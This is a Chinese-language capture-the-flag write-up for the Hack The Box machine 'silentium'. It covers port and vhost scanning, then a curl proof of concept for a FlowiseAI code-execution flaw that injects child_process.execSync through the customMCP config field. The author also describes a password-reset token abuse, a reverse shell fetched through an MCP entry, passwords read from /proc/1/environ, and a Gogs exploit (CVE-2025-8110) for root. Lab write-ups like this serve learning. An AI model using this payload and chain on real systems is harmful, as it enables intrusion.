端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
| ┌──(kali㉿kali)-[~/HTB/silentium] └─$ sudo nmap -p- --min-rate 10000 silentium.htb -oA ports Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-13 11:33 CST Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan Nmap scan report for silentium.htb Host is up (8.0s latency). Not shown: 47202 filtered tcp ports (no-response), 18331 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 40.61 seconds
|
web 渗透
80 端口没有什么有用的内容,目录扫描也没有扫出来什么,进行子域名扫描:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ┌──(kali㉿kali)-[~/HTB/silentium] └─$ sudo gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -u http://silentium.htb --append-domain [sudo] password for kali: =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://silentium.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/amass/subdomains-top1mil-20000.txt [+] User Agent: gobuster/3.6 [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== Found: staging.silentium.htb Status: 200 [Size: 3142]
|
扫出来一个子域名 staging.silentium.htb ,在 web 页面进行访问,是一个登录页面:

在页面的源代码里面获取到这是一个 FlowiseAI ,往上搜搜有没有什么漏洞,在这个网站里找到了一个 RCE 漏洞,poc 如下:
1 2 3 4 5 6 7 8 9
| curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \ -H "Content-Type: application/json" \ -H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \ -d '{ "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})" } }'
|
但是我们需要一个可以登录的账号,因此我们回到 web 页面,主页面是一个登录的页面,尝试了 admin@silentium.htb ,页面返回了 User Not Found ,表明该用户不存在。
在 silentium.htb 的主页面里面,可以看到有三个用户名:

依次进行尝试,发现 ben@silentium.htb 返回的是 Incorrect Email or Password ,表明这个用户是存在的。
尝试了弱口令,但是没有成功。发现有一个密码找回的功能,尝试找回 ben 用户的密码,发现后端给了一些响应:

同时,通过前端代码又发现存在 reset-password 路由,其中需要一个 Reset Token ,尝试用上面响应的 token 来重置 ben 用户的密码:

重置成功了,用这个账号和密码进行登录:

在里面发现可以新建一个 MCP ,可以指定要执行的命令和参数,于是我们就在本地起一个 http 服务,然后让 MCP 获取我们想要执行的反弹 shell 的脚本:

接着用 sh 执行这个脚本,我们就收到了反弹 shell :

提权
目前我们是在 docker 里面,在里面寻找一些信息,发现 /proc/1/environ 里面藏着两个密码:

用 r04D!!_R4ge 这个密码可以 ssh 登录 ben 用户:

拿到了 user flag。
ss -tuln 发现靶机内开启了 3001 端口:

用 ssh 端口转发到本地,访问本地的 3001 端口,发现是个 gogs :

同时在靶机内部用 ps aux 发现 root 用户在运行 /opt/gogs/gogs/gogs web ,说明这个服务是 root 用户起的。
去网上搜索是否存在已知的漏洞,发现了一个 CVE-2025-8110 ,这是一个 RCE 的漏洞,这个页面有 exp ,直接使用该 exp ,获得了 root 权限:
